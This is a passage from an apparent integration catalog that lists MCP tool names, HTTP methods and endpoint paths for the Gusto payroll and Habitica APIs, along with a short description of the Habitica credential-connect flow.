/api/v1/gusto/v1/companies/{company_id}/employees. Scopes: none. gusto_get_v1_companies_by_company_id_locations (read) — List company locations via GET /v1/companies/{company_id}/locations GET /api/v1/gusto/v1/companies/{company_id}/locations. Scopes: none. gusto_get_v1_companies_by_company_id_pay_periods (read) — List company pay periods via GET /v1/companies/{company_id}/pay_periods GET /api/v1/gusto/v1/companies/{company_id}/pay_periods. Scopes: none. gusto_get_v1_companies_by_company_id_pay_periods_unprocessed_termination_pay_periods (read) — List unprocessed termination pay periods via GET /v1/companies/{company_id}/pay_periods/unprocessed_termination_pay_periods GET /api/v1/gusto/v1/companies/{company_id}/pay_periods/unprocessed_termination_pay_periods. Scopes: none. gusto_get_v1_companies_by_company_id_pay_schedules (read) — List company pay schedules via GET /v1/companies/{company_id}/pay_schedules GET /api/v1/gusto/v1/companies/{company_id}/pay_schedules. Scopes: none. gusto_get_v1_companies_by_company_id_pay_schedules_assignments (read) — List pay schedule assignments via GET /v1/companies/{company_id}/pay_schedules/assignments GET /api/v1/gusto/v1/companies/{company_id}/pay_schedules/assignments. Scopes: none. gusto_get_v1_companies_by_company_id_pay_schedules_by_pay_schedule_id (read) — Get company pay schedule via GET /v1/companies/{company_id}/pay_schedules/{pay_schedule_id} GET /api/v1/gusto/v1/companies/{company_id}/pay_schedules/{pay_schedule_id}. Scopes: none. gusto_get_v1_companies_by_company_id_payrolls (read) — List company payrolls via GET /v1/companies/{company_id}/payrolls GET /api/v1/gusto/v1/companies/{company_id}/payrolls. Scopes: none. gusto_get_v1_companies_by_company_id_payrolls_by_payroll_id (read) — Get company payroll via GET /v1/companies/{company_id}/payrolls/{payroll_id} GET /api/v1/gusto/v1/companies/{company_id}/payrolls/{payroll_id}. Scopes: none. gusto_get_v1_companies_by_company_id_time_off_requests (read) — List company time off requests via GET /v1/companies/{company_id}/time_off_requests GET /api/v1/gusto/v1/companies/{company_id}/time_off_requests. Scopes: none. gusto_get_v1_companies_by_company_uuid_contractors (read) — List company contractors via GET /v1/companies/{company_uuid}/contractors GET /api/v1/gusto/v1/companies/{company_uuid}/contractors. Scopes: none. gusto_get_v1_companies_by_company_uuid_departments (read) — List company departments via GET /v1/companies/{company_uuid}/departments GET /api/v1/gusto/v1/companies/{company_uuid}/departments. Scopes: none. gusto_get_v1_companies_by_company_uuid_notifications (read) — List company notifications via GET /v1/companies/{company_uuid}/notifications GET /api/v1/gusto/v1/companies/{company_uuid}/notifications. Scopes: none. gusto_get_v1_companies_by_company_uuid_time_off_policies (read) — List company time off policies via GET /v1/companies/{company_uuid}/time_off_policies GET /api/v1/gusto/v1/companies/{company_uuid}/time_off_policies. Scopes: none. gusto_get_v1_companies_by_company_uuid_time_tracking_time_sheets (read) — List company time sheets via GET /v1/companies/{company_uuid}/time_tracking/time_sheets GET /api/v1/gusto/v1/companies/{company_uuid}/time_tracking/time_sheets. Scopes: none. gusto_get_v1_company_benefits_by_company_benefit_id (read) — Get company benefit via GET /v1/company_benefits/{company_benefit_id} GET /api/v1/gusto/v1/company_benefits/{company_benefit_id}. Scopes: none. gusto_get_v1_company_benefits_by_company_benefit_id_contribution_exclusions (read) — List benefit contribution exclusions via GET /v1/company_benefits/{company_benefit_id}/contribution_exclusions GET /api/v1/gusto/v1/company_benefits/{company_benefit_id}/contribution_exclusions. Scopes: none. gusto_get_v1_company_benefits_by_company_benefit_id_employee_benefits (read) — List employee benefits for company benefit via GET /v1/company_benefits/{company_benefit_id}/employee_benefits GET /api/v1/gusto/v1/company_benefits/{company_benefit_id}/employee_benefits. Scopes: none. gusto_get_v1_company_benefits_by_company_benefit_id_summary (read) — Get company benefit summary via GET /v1/company_benefits/{company_benefit_id}/summary GET /api/v1/gusto/v1/company_benefits/{company_benefit_id}/summary. Scopes: none. gusto_get_v1_compensations_by_compensation_id (read) — Get compensation via GET /v1/compensations/{compensation_id} GET /api/v1/gusto/v1/compensations/{compensation_id}. Scopes: none. gusto_get_v1_contractors_by_contractor_uuid (read) — Get contractor via GET /v1/contractors/{contractor_uuid} GET /api/v1/gusto/v1/contractors/{contractor_uuid}. Scopes: none. gusto_get_v1_departments_by_department_uuid (read) — Get department via GET /v1/departments/{department_uuid} GET /api/v1/gusto/v1/departments/{department_uuid}. Scopes: none. gusto_get_v1_employee_benefits_by_employee_benefit_id (read) — Get employee benefit via GET /v1/employee_benefits/{employee_benefit_id} GET /api/v1/gusto/v1/employee_benefits/{employee_benefit_id}. Scopes: none. gusto_get_v1_employees_by_employee_id (read) — Get employee via GET /v1/employees/{employee_id} GET /api/v1/gusto/v1/employees/{employee_id}. Scopes: none. gusto_get_v1_employees_by_employee_id_custom_fields (read) — List employee custom fields via GET /v1/employees/{employee_id}/custom_fields GET /api/v1/gusto/v1/employees/{employee_id}/custom_fields. Scopes: none. gusto_get_v1_employees_by_employee_id_employee_benefits (read) — List employee benefits via GET /v1/employees/{employee_id}/employee_benefits GET /api/v1/gusto/v1/employees/{employee_id}/employee_benefits. Scopes: none. gusto_get_v1_employees_by_employee_id_employment_history (read) — Get employee employment history via GET /v1/employees/{employee_id}/employment_history GET /api/v1/gusto/v1/employees/{employee_id}/employment_history. Scopes: none. gusto_get_v1_employees_by_employee_id_garnishments (read) — List employee garnishments via GET /v1/employees/{employee_id}/garnishments GET /api/v1/gusto/v1/employees/{employee_id}/garnishments. Scopes: none. gusto_get_v1_employees_by_employee_id_home_addresses (read) — List employee home addresses via GET /v1/employees/{employee_id}/home_addresses GET /api/v1/gusto/v1/employees/{employee_id}/home_addresses. Scopes: none. gusto_get_v1_employees_by_employee_id_recurring_reimbursements (read) — List employee recurring reimbursements via GET /v1/employees/{employee_id}/recurring_reimbursements GET /api/v1/gusto/v1/employees/{employee_id}/recurring_reimbursements. Scopes: none. gusto_get_v1_employees_by_employee_id_rehire (read) — Get employee rehire via GET /v1/employees/{employee_id}/rehire GET /api/v1/gusto/v1/employees/{employee_id}/rehire. Scopes: none. gusto_get_v1_employees_by_employee_id_terminations (read) — List employee terminations via GET /v1/employees/{employee_id}/terminations GET /api/v1/gusto/v1/employees/{employee_id}/terminations. Scopes: none. gusto_get_v1_employees_by_employee_id_work_addresses (read) — List employee work addresses via GET /v1/employees/{employee_id}/work_addresses GET /api/v1/gusto/v1/employees/{employee_id}/work_addresses. Scopes: none. gusto_get_v1_employees_by_employee_id_ytd_benefit_amounts_from_different_company (read) — Get employee YTD benefit amounts from another company via GET /v1/employees/{employee_id}/ytd_benefit_amounts_from_different_company GET /api/v1/gusto/v1/employees/{employee_id}/ytd_benefit_amounts_from_different_company. Scopes: none. gusto_get_v1_employees_by_employee_uuid_section603_high_earner_statuses (read) — List employee Section 603 high earner statuses via GET /v1/employees/{employee_uuid}/section603_high_earner_statuses GET /api/v1/gusto/v1/employees/{employee_uuid}/section603_high_earner_statuses. Scopes: none. gusto_get_v1_employees_by_employee_uuid_section603_high_earner_statuses_by_effective_year (read) — Get employee Section 603 high earner status via GET /v1/employees/{employee_uuid}/section603_high_earner_statuses/{effective_year} GET /api/v1/gusto/v1/employees/{employee_uuid}/section603_high_earner_statuses/{effective_year}. Scopes: none. gusto_get_v1_employees_by_employee_uuid_time_off_activities (read) — List employee time off activities via GET /v1/employees/{employee_uuid}/time_off_activities GET /api/v1/gusto/v1/employees/{employee_uuid}/time_off_activities. Scopes: none. gusto_get_v1_events (read) — List events via GET /v1/events GET /api/v1/gusto/v1/events. Scopes: none. gusto_get_v1_garnishments_by_garnishment_id (read) — Get garnishment via GET /v1/garnishments/{garnishment_id} GET /api/v1/gusto/v1/garnishments/{garnishment_id}. Scopes: none. gusto_get_v1_garnishments_child_support (read) — Get child support garnishment data via GET /v1/garnishments/child_support GET /api/v1/gusto/v1/garnishments/child_support. Scopes: none. gusto_get_v1_home_addresses_by_home_address_uuid (read) — Get home address via GET /v1/home_addresses/{home_address_uuid} GET /api/v1/gusto/v1/home_addresses/{home_address_uuid}. Scopes: none. gusto_get_v1_jobs_by_job_id_compensations (read) — List job compensations via GET /v1/jobs/{job_id}/compensations GET /api/v1/gusto/v1/jobs/{job_id}/compensations. Scopes: none. gusto_get_v1_locations_by_location_id (read) — Get location via GET /v1/locations/{location_id} GET /api/v1/gusto/v1/locations/{location_id}. Scopes: none. gusto_get_v1_locations_by_location_uuid_minimum_wages (read) — List location minimum wages via GET /v1/locations/{location_uuid}/minimum_wages GET /api/v1/gusto/v1/locations/{location_uuid}/minimum_wages. Scopes: none. gusto_get_v1_recurring_reimbursements_by_id (read) — Get recurring reimbursement via GET /v1/recurring_reimbursements/{id} GET /api/v1/gusto/v1/recurring_reimbursements/{id}. Scopes: none. gusto_get_v1_reports_by_request_uuid (read) — Get report via GET /v1/reports/{request_uuid} GET /api/v1/gusto/v1/reports/{request_uuid}. Scopes: none. gusto_get_v1_salary_estimates_by_uuid (read) — Get salary estimate via GET /v1/salary_estimates/{uuid} GET /api/v1/gusto/v1/salary_estimates/{uuid}. Scopes: none. gusto_get_v1_salary_estimates_occupations (read) — List salary estimate occupations via GET /v1/salary_estimates/occupations GET /api/v1/gusto/v1/salary_estimates/occupations. Scopes: none. gusto_get_v1_terminations_by_employee_id (read) — Get termination via GET /v1/terminations/{employee_id} GET /api/v1/gusto/v1/terminations/{employee_id}. Scopes: none. gusto_get_v1_time_off_policies_by_time_off_policy_uuid (read) — Get time off policy via GET /v1/time_off_policies/{time_off_policy_uuid} GET /api/v1/gusto/v1/time_off_policies/{time_off_policy_uuid}. Scopes: none. gusto_get_v1_time_tracking_payroll_syncs_by_payroll_sync_uuid (read) — Get time tracking payroll sync via GET /v1/time_tracking/payroll_syncs/{payroll_sync_uuid} GET /api/v1/gusto/v1/time_tracking/payroll_syncs/{payroll_sync_uuid}. Scopes: none. gusto_get_v1_time_tracking_time_sheets_by_time_sheet_uuid (read) — Get time sheet via GET /v1/time_tracking/time_sheets/{time_sheet_uuid} GET /api/v1/gusto/v1/time_tracking/time_sheets/{time_sheet_uuid}. Scopes: none. gusto_get_v1_token_info (read) — Get token info via GET /v1/token_info GET /api/v1/gusto/v1/token_info. Scopes: none. gusto_get_v1_webhook_subscriptions (read) — List webhook subscriptions via GET /v1/webhook_subscriptions GET /api/v1/gusto/v1/webhook_subscriptions. Scopes: none. gusto_get_v1_webhook_subscriptions_by_webhook_subscription_uuid (read) — Get webhook subscription via GET /v1/webhook_subscriptions/{webhook_subscription_uuid} GET /api/v1/gusto/v1/webhook_subscriptions/{webhook_subscription_uuid}. Scopes: none. gusto_get_v1_webhook_subscriptions_by_webhook_subscription_uuid_request_verification_token (read) — Request webhook verification token via GET /v1/webhook_subscriptions/{webhook_subscription_uuid}/request_verification_token GET /api/v1/gusto/v1/webhook_subscriptions/{webhook_subscription_uuid}/request_verification_token. Scopes: none. gusto_get_v1_webhooks_health_check (read) — Check webhook health via GET /v1/webhooks/health_check GET /api/v1/gusto/v1/webhooks/health_check. Scopes: none. gusto_get_v1_work_addresses_by_work_address_uuid (read) — Get work address via GET /v1/work_addresses/{work_address_uuid} GET /api/v1/gusto/v1/work_addresses/{work_address_uuid}. Scopes: none. gusto_patch_v1_employees_by_employee_uuid_section603_high_earner_statuses_by_effective_year (write) — Update employee Section 603 high earner status via PATCH /v1/employees/{employee_uuid}/section603_high_earner_statuses/{effective_year} PATCH /api/v1/gusto/v1/employees/{employee_uuid}/section603_high_earner_statuses/{effective_year}. Scopes: none. gusto_post_oauth_revoke (write) — Revoke access token via POST /oauth/revoke POST /api/v1/gusto/oauth/revoke. Scopes: none. gusto_post_oauth_token (write) — Exchange OAuth token via POST /oauth/token POST /api/v1/gusto/oauth/token. Scopes: none. gusto_post_v1_companies_by_company_id_company_benefits (write) — Create company benefit via POST /v1/companies/{company_id}/company_benefits POST /api/v1/gusto/v1/companies/{company_id}/company_benefits. Scopes: none. gusto_post_v1_companies_by_company_id_disconnect_app_integration (write) — Disconnect app integration via POST /v1/companies/{company_id}/disconnect_app_integration POST /api/v1/gusto/v1/companies/{company_id}/disconnect_app_integration. Scopes: none. gusto_post_v1_companies_by_company_id_earning_types (write) — Create company earning type via POST /v1/companies/{company_id}/earning_types POST /api/v1/gusto/v1/companies/{company_id}/earning_types. Scopes: none. gusto_post_v1_companies_by_company_id_employees (write) — Create company employee via POST /v1/companies/{company_id}/employees POST /api/v1/gusto/v1/companies/{company_id}/employees. Scopes: none. gusto_post_v1_companies_by_company_id_locations (write) — Create company location via POST /v1/companies/{company_id}/locations POST /api/v1/gusto/v1/companies/{company_id}/locations. Scopes: none. gusto_post_v1_companies_by_company_id_reports_employees_annual_fica_wage (write) — Create annual FICA wage report via POST /v1/companies/{company_id}/reports/employees_annual_fica_wage POST /api/v1/gusto/v1/companies/{company_id}/reports/employees_annual_fica_wage. Scopes: none. gusto_post_v1_companies_by_company_id_time_tracking_payroll_syncs (write) — Create time tracking payroll sync via POST /v1/companies/{company_id}/time_tracking/payroll_syncs POST /api/v1/gusto/v1/companies/{company_id}/time_tracking/payroll_syncs. Scopes: none. gusto_post_v1_companies_by_company_uuid_contractors (write) — Create company contractor via POST /v1/companies/{company_uuid}/contractors POST /api/v1/gusto/v1/companies/{company_uuid}/contractors. Scopes: none. gusto_post_v1_companies_by_company_uuid_departments (write) — Create company department via POST /v1/companies/{company_uuid}/departments POST /api/v1/gusto/v1/companies/{company_uuid}/departments. Scopes: none. gusto_post_v1_companies_by_company_uuid_time_tracking_time_sheets (write) — Create company time sheet via POST /v1/companies/{company_uuid}/time_tracking/time_sheets POST /api/v1/gusto/v1/companies/{company_uuid}/time_tracking/time_sheets. Scopes: none. gusto_post_v1_employees_by_employee_id_employee_benefits (write) — Create employee benefit via POST /v1/employees/{employee_id}/employee_benefits POST /api/v1/gusto/v1/employees/{employee_id}/employee_benefits. Scopes: none. gusto_post_v1_employees_by_employee_id_garnishments (write) — Create employee garnishment via POST /v1/employees/{employee_id}/garnishments POST /api/v1/gusto/v1/employees/{employee_id}/garnishments. Scopes: none. gusto_post_v1_employees_by_employee_id_home_addresses (write) — Create employee home address via POST /v1/employees/{employee_id}/home_addresses POST /api/v1/gusto/v1/employees/{employee_id}/home_addresses. Scopes: none. gusto_post_v1_employees_by_employee_id_recurring_reimbursements (write) — Create employee recurring reimbursement via POST /v1/employees/{employee_id}/recurring_reimbursements POST /api/v1/gusto/v1/employees/{employee_id}/recurring_reimbursements. Scopes: none. gusto_post_v1_employees_by_employee_id_rehire (write) — Create employee rehire via POST /v1/employees/{employee_id}/rehire POST /api/v1/gusto/v1/employees/{employee_id}/rehire. Scopes: none. gusto_post_v1_employees_by_employee_id_salary_estimates (write) — Create employee salary estimate via POST /v1/employees/{employee_id}/salary_estimates POST /api/v1/gusto/v1/employees/{employee_id}/salary_estimates. Scopes: none. gusto_post_v1_employees_by_employee_id_terminations (write) — Create employee termination via POST /v1/employees/{employee_id}/terminations POST /api/v1/gusto/v1/employees/{employee_id}/terminations. Scopes: none. gusto_post_v1_employees_by_employee_id_work_addresses (write) — Create employee work address via POST /v1/employees/{employee_id}/work_addresses POST /api/v1/gusto/v1/employees/{employee_id}/work_addresses. Scopes: none. gusto_post_v1_employees_by_employee_id_ytd_benefit_amounts_from_different_company (write) — Create employee YTD benefit amounts from another company via POST /v1/employees/{employee_id}/ytd_benefit_amounts_from_different_company POST /api/v1/gusto/v1/employees/{employee_id}/ytd_benefit_amounts_from_different_company. Scopes: none. gusto_post_v1_employees_by_employee_uuid_section603_high_earner_statuses (write) — Create employee Section 603 high earner status via POST /v1/employees/{employee_uuid}/section603_high_earner_statuses POST /api/v1/gusto/v1/employees/{employee_uuid}/section603_high_earner_statuses. Scopes: none. gusto_post_v1_jobs_by_job_id_compensations (write) — Create job compensation via POST /v1/jobs/{job_id}/compensations POST /api/v1/gusto/v1/jobs/{job_id}/compensations. Scopes: none. gusto_post_v1_payrolls_by_payroll_id_employees_by_employee_id_calculate_accruing_time_off_hours (write) — Calculate accruing time off hours via POST /v1/payrolls/{payroll_id}/employees/{employee_id}/calculate_accruing_time_off_hours POST /api/v1/gusto/v1/payrolls/{payroll_id}/employees/{employee_id}/calculate_accruing_time_off_hours. Scopes: none. gusto_post_v1_payrolls_by_payroll_uuid_reports_general_ledger (write) — Create payroll general ledger report via POST /v1/payrolls/{payroll_uuid}/reports/general_ledger POST /api/v1/gusto/v1/payrolls/{payroll_uuid}/reports/general_ledger. Scopes: none. gusto_post_v1_provision (write) — Provision partner-managed company via POST /v1/provision POST /api/v1/gusto/v1/provision. Scopes: none. gusto_post_v1_salary_estimates_by_uuid_accept (write) — Accept salary estimate via POST /v1/salary_estimates/{uuid}/accept POST /api/v1/gusto/v1/salary_estimates/{uuid}/accept. Scopes: none. gusto_post_v1_webhook_subscriptions (write) — Create webhook subscription via POST /v1/webhook_subscriptions POST /api/v1/gusto/v1/webhook_subscriptions. Scopes: none. gusto_put_v1_companies_by_company_id (write) — Update company via PUT /v1/companies/{company_id} PUT /api/v1/gusto/v1/companies/{company_id}. Scopes: none. gusto_put_v1_companies_by_company_id_earning_types_by_earning_type_uuid (write) — Update company earning type via PUT /v1/companies/{company_id}/earning_types/{earning_type_uuid} PUT /api/v1/gusto/v1/companies/{company_id}/earning_types/{earning_type_uuid}. Scopes: none. gusto_put_v1_companies_by_company_id_payrolls_by_payroll_id (write) — Update company payroll via PUT /v1/companies/{company_id}/payrolls/{payroll_id} PUT /api/v1/gusto/v1/companies/{company_id}/payrolls/{payroll_id}. Scopes: none. gusto_put_v1_companies_by_company_id_payrolls_by_payroll_id_prepare (write) — Prepare company payroll via PUT /v1/companies/{company_id}/payrolls/{payroll_id}/prepare PUT /api/v1/gusto/v1/companies/{company_id}/payrolls/{payroll_id}/prepare. Scopes: none. gusto_put_v1_company_benefits_by_company_benefit_id (write) — Update company benefit via PUT /v1/company_benefits/{company_benefit_id} PUT /api/v1/gusto/v1/company_benefits/{company_benefit_id}. Scopes: none. gusto_put_v1_company_benefits_by_company_benefit_id_contribution_exclusions (write) — Update benefit contribution exclusions via PUT /v1/company_benefits/{company_benefit_id}/contribution_exclusions PUT /api/v1/gusto/v1/company_benefits/{company_benefit_id}/contribution_exclusions. Scopes: none. gusto_put_v1_company_benefits_by_company_benefit_id_employee_benefits (write) — Update employee benefits for company benefit via PUT /v1/company_benefits/{company_benefit_id}/employee_benefits PUT /api/v1/gusto/v1/company_benefits/{company_benefit_id}/employee_benefits. Scopes: none. gusto_put_v1_compensations_by_compensation_id (write) — Update compensation via PUT /v1/compensations/{compensation_id} PUT /api/v1/gusto/v1/compensations/{compensation_id}. Scopes: none. gusto_put_v1_contractors_by_contractor_uuid (write) — Update contractor via PUT /v1/contractors/{contractor_uuid} PUT /api/v1/gusto/v1/contractors/{contractor_uuid}. Scopes: none. gusto_put_v1_departments_by_department_uuid (write) — Update department via PUT /v1/departments/{department_uuid} PUT /api/v1/gusto/v1/departments/{department_uuid}. Scopes: none. gusto_put_v1_departments_by_department_uuid_add (write) — Add people to department via PUT /v1/departments/{department_uuid}/add PUT /api/v1/gusto/v1/departments/{department_uuid}/add. Scopes: none. gusto_put_v1_departments_by_department_uuid_remove (write) — Remove people from department via PUT /v1/departments/{department_uuid}/remove PUT /api/v1/gusto/v1/departments/{department_uuid}/remove. Scopes: none. gusto_put_v1_employee_benefits_by_employee_benefit_id (write) — Update employee benefit via PUT /v1/employee_benefits/{employee_benefit_id} PUT /api/v1/gusto/v1/employee_benefits/{employee_benefit_id}. Scopes: none. gusto_put_v1_employees_by_employee_id (write) — Update employee via PUT /v1/employees/{employee_id} PUT /api/v1/gusto/v1/employees/{employee_id}. Scopes: none. gusto_put_v1_employees_by_employee_id_rehire (write) — Update employee rehire via PUT /v1/employees/{employee_id}/rehire PUT /api/v1/gusto/v1/employees/{employee_id}/rehire. Scopes: none. gusto_put_v1_garnishments_by_garnishment_id (write) — Update garnishment via PUT /v1/garnishments/{garnishment_id} PUT /api/v1/gusto/v1/garnishments/{garnishment_id}. Scopes: none. gusto_put_v1_home_addresses_by_home_address_uuid (write) — Update home address via PUT /v1/home_addresses/{home_address_uuid} PUT /api/v1/gusto/v1/home_addresses/{home_address_uuid}. Scopes: none. gusto_put_v1_locations_by_location_id (write) — Update location via PUT /v1/locations/{location_id} PUT /api/v1/gusto/v1/locations/{location_id}. Scopes: none. gusto_put_v1_recurring_reimbursements_by_id (write) — Update recurring reimbursement via PUT /v1/recurring_reimbursements/{id} PUT /api/v1/gusto/v1/recurring_reimbursements/{id}. Scopes: none. gusto_put_v1_salary_estimates_by_uuid (write) — Update salary estimate via PUT /v1/salary_estimates/{uuid} PUT /api/v1/gusto/v1/salary_estimates/{uuid}. Scopes: none. gusto_put_v1_terminations_by_employee_id (write) — Update termination via PUT /v1/terminations/{employee_id} PUT /api/v1/gusto/v1/terminations/{employee_id}. Scopes: none. gusto_put_v1_time_off_policies_by_time_off_policy_uuid_add_employees (write) — Add employees to time off policy via PUT /v1/time_off_policies/{time_off_policy_uuid}/add_employees PUT /api/v1/gusto/v1/time_off_policies/{time_off_policy_uuid}/add_employees. Scopes: none. gusto_put_v1_time_tracking_time_sheets_by_time_sheet_uuid (write) — Update time sheet via PUT /v1/time_tracking/time_sheets/{time_sheet_uuid} PUT /api/v1/gusto/v1/time_tracking/time_sheets/{time_sheet_uuid}. Scopes: none. gusto_put_v1_webhook_subscriptions_by_webhook_subscription_uuid (write) — Update webhook subscription via PUT /v1/webhook_subscriptions/{webhook_subscription_uuid} PUT /api/v1/gusto/v1/webhook_subscriptions/{webhook_subscription_uuid}. Scopes: none. gusto_put_v1_webhook_subscriptions_by_webhook_subscription_uuid_verify (write) — Verify webhook subscription via PUT /v1/webhook_subscriptions/{webhook_subscription_uuid}/verify PUT /api/v1/gusto/v1/webhook_subscriptions/{webhook_subscription_uuid}/verify. Scopes: none. gusto_put_v1_work_addresses_by_work_address_uuid (write) — Update work address via PUT /v1/work_addresses/{work_address_uuid} PUT /api/v1/gusto/v1/work_addresses/{work_address_uuid}. Scopes: none. ================================================================================ ## Habitica URL: https://www.agenticfabriq.com/integrations/habitica Section: Integrated Tools Habitica — 161 MCP tools Provider key: habitica. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. habitica_delete_api_v3_challenges_by_challengeid (write, destructive) — Delete a challenge via DELETE /api/v3/challenges/{challengeId} DELETE /api/v1/habitica/api/v3/challenges/{challengeId}. Scopes: api. habitica_delete_api_v3_groups_by_groupid_chat_by_chatid (write, destructive) — Delete's a chat message from a group via DELETE /api/v3/groups/{groupId}/chat/{chatId} DELETE /api/v1/habitica/api/v3/groups/{groupId}/chat/{chatId}. Scopes: api. habitica_delete_api_v3_tags_by_tagid (write, destructive) — Delete a user tag via DELETE /api/v3/tags/{tagId} DELETE /api/v1/habitica/api/v3/tags/{tagId}. Scopes: api. habitica_delete_api_v3_tasks_by_taskid (write, destructive) — Delete a task via DELETE /api/v3/tasks/{taskId} DELETE /api/v1/habitica/api/v3/tasks/{taskId}. Scopes: api. habitica_delete_api_v3_tasks_by_taskid_checklist_by_itemid (write, destructive) — Delete a checklist item from a task via DELETE /api/v3/tasks/{taskId}/checklist/{itemId} DELETE /api/v1/habitica/api/v3/tasks/{taskId}/checklist/{itemId}. Scopes: api. habitica_delete_api_v3_tasks_by_taskid_tags_by_tagid (write, destructive) — Delete a tag from a task via DELETE /api/v3/tasks/{taskId}/tags/{tagId} DELETE /api/v1/habitica/api/v3/tasks/{taskId}/tags/{tagId}. Scopes: api. habitica_delete_api_v3_user (write, destructive) — Delete an authenticated user's account via DELETE /api/v3/user DELETE /api/v1/habitica/api/v3/user. Scopes: api. habitica_delete_api_v3_user_auth_social_by_network (write, destructive) — Remove a social authentication method from a user profile. The user must have another authentication method enabled. via DELETE /api/v3/user/auth/social/{network} DELETE /api/v1/habitica/api/v3/user/auth/social/{network}. Scopes: api. habitica_delete_api_v3_user_messages (write, destructive) — Delete all messages via DELETE /api/v3/user/messages DELETE /api/v1/habitica/api/v3/user/messages. Scopes: api. habitica_delete_api_v3_user_messages_by_id (write, destructive) — Delete a message via DELETE /api/v3/user/messages/{id} DELETE /api/v1/habitica/api/v3/user/messages/{id}. Scopes: api. habitica_delete_api_v3_user_webhook_by_id (write, destructive) — Delete a webhook - BETA via DELETE /api/v3/user/webhook/{id} DELETE /api/v1/habitica/api/v3/user/webhook/{id}. Scopes: api. habitica_get_api_v3_challenges_by_challengeid (read) — Get a challenge via GET /api/v3/challenges/{challengeId} GET /api/v1/habitica/api/v3/challenges/{challengeId}. Scopes: api. habitica_get_api_v3_challenges_by_challengeid_export_csv (read) — Export a challenge in CSV via GET /api/v3/challenges/{challengeId}/export/csv GET /api/v1/habitica/api/v3/challenges/{challengeId}/export/csv. Scopes: api. habitica_get_api_v3_challenges_by_challengeid_members (read) — With a limit of 30 member per request (by default). To get all members run requests against this routes (updating the lastId query parameter) until you get less than 30 results. BETA You can also use ?includeAllMembers=true. This option is currently in BETA and may be removed in future. Its use is discouraged and its performances are not optimized especially for large challenges. via GET /api/v3/challenges/{challengeId}/members GET /api/v1/habitica/api/v3/challenges/{challengeId}/members. Scopes: api. habitica_get_api_v3_challenges_by_challengeid_members_by_memberid (read) — Get a challenge member progress via GET /api/v3/challenges/{challengeId}/members/{memberId} GET /api/v1/habitica/api/v3/challenges/{challengeId}/members/{memberId}. Scopes: api. habitica_get_api_v3_challenges_groups_by_groupid (read) — Get challenges hosted in the specified group. via GET /api/v3/challenges/groups/{groupId} GET /api/v1/habitica/api/v3/challenges/groups/{groupId}. Scopes: api. habitica_get_api_v3_challenges_user (read) — Get challenges the user has access to. Includes public challenges, challenges belonging to the user's group, and challenges the user has already joined. Returns 10 results per page. via GET /api/v3/challenges/user GET /api/v1/habitica/api/v3/challenges/user. Scopes: api. habitica_get_api_v3_content (read) — Does not require authentication. via GET /api/v3/content GET /api/v1/habitica/api/v3/content. Scopes: api. habitica_get_api_v3_coupons (read) — Get coupons via GET /api/v3/coupons GET /api/v1/habitica/api/v3/coupons. Scopes: api. habitica_get_api_v3_group_plans (read) — Get group plans for a user via GET /api/v3/group-plans GET /api/v1/habitica/api/v3/group-plans. Scopes: api. habitica_get_api_v3_groups (read) — Get groups for a user via GET /api/v3/groups GET /api/v1/habitica/api/v3/groups. Scopes: api. habitica_get_api_v3_groups_by_groupid (read) — Get group via GET /api/v3/groups/{groupId} GET /api/v1/habitica/api/v3/groups/{groupId}. Scopes: api. habitica_get_api_v3_groups_by_groupid_chat (read) — Fetches an array of messages from a group via GET /api/v3/groups/{groupId}/chat GET /api/v1/habitica/api/v3/groups/{groupId}/chat. Scopes: api. habitica_get_api_v3_groups_by_groupid_invites (read) — With a limit of 30 member per request (by default). To get all invites run requests against this routes (updating the lastId query parameter) until you get less than 30 results. via GET /api/v3/groups/{groupId}/invites GET /api/v1/habitica/api/v3/groups/{groupId}/invites. Scopes: api. habitica_get_api_v3_groups_by_groupid_members (read) — With a limit of 30 member per request (by default). To get all members run requests against this routes (updating the lastId query parameter) until you get less than 30 results (or the specified limit). via GET /api/v3/groups/{groupId}/members GET /api/v1/habitica/api/v3/groups/{groupId}/members. Scopes: api. habitica_get_api_v3_hall_heroes (read) — Returns an array of objects containing the heroes who have contributed for Habitica. The array is sorted by the contribution level in descending order. via GET /api/v3/hall/heroes GET /api/v1/habitica/api/v3/hall/heroes. Scopes: api. habitica_get_api_v3_hall_heroes_by_heroid (read) — Returns various data about the user. User does not need to be a contributor. via GET /api/v3/hall/heroes/{heroId} GET /api/v1/habitica/api/v3/hall/heroes/{heroId}. Scopes: api. habitica_get_api_v3_hall_heroes_by_heroid_group_plans (read) — Returns some basic information about group plans, to assist admins with user support. via GET /api/v3/hall/heroes/{heroId}/group-plans GET /api/v1/habitica/api/v3/hall/heroes/{heroId}/group-plans. Scopes: api. habitica_get_api_v3_hall_heroes_party_by_groupid (read) — Returns some basic information about a given Party, to assist admins with user support. via GET /api/v3/hall/heroes/party/{groupId} GET /api/v1/habitica/api/v3/hall/heroes/party/{groupId}. Scopes: api. habitica_get_api_v3_hall_patrons (read) — Returns an array of objects containing the patrons who backed Habitica's original kickstarter. The array is sorted by the backer tier in descending order. By default, only the first 50 patrons are returned. More can be accessed by passing ?page=n via GET /api/v3/hall/patrons GET /api/v1/habitica/api/v3/hall/patrons. Scopes: api. habitica_get_api_v3_i18n_content (read) — Returns the i18n JS script to make all the i18n strings available in the browser under window.i18n.strings. Does not require authentication. via GET /api/v3/i18n/content GET /api/v1/habitica/api/v3/i18n/content. Scopes: api. habitica_get_api_v3_i18n_core (read) — Returns the i18n JS script to make all the i18n strings available in the browser under window.i18n.strings. Does not require authentication. via GET /api/v3/i18n/core GET /api/v1/habitica/api/v3/i18n/core. Scopes: api. habitica_get_api_v3_inbox_messages (read) — Get inbox messages for a user via GET /api/v3/inbox/messages GET /api/v1/habitica/api/v3/inbox/messages. Scopes: api. habitica_get_api_v3_looking_for_party (read) — Get users in search of parties via GET /api/v3/looking-for-party GET /api/v1/habitica/api/v3/looking-for-party. Scopes: api. habitica_get_api_v3_members_by_memberid (read) — Get a member profile via GET /api/v3/members/{memberId} GET /api/v1/habitica/api/v3/members/{memberId}. Scopes: api. habitica_get_api_v3_members_by_memberid_achievements (read) — Get a list of achievements of the requested member, grouped by basic / seasonal / special. via GET /api/v3/members/{memberId}/achievements GET /api/v1/habitica/api/v3/members/{memberId}/achievements. Scopes: api. 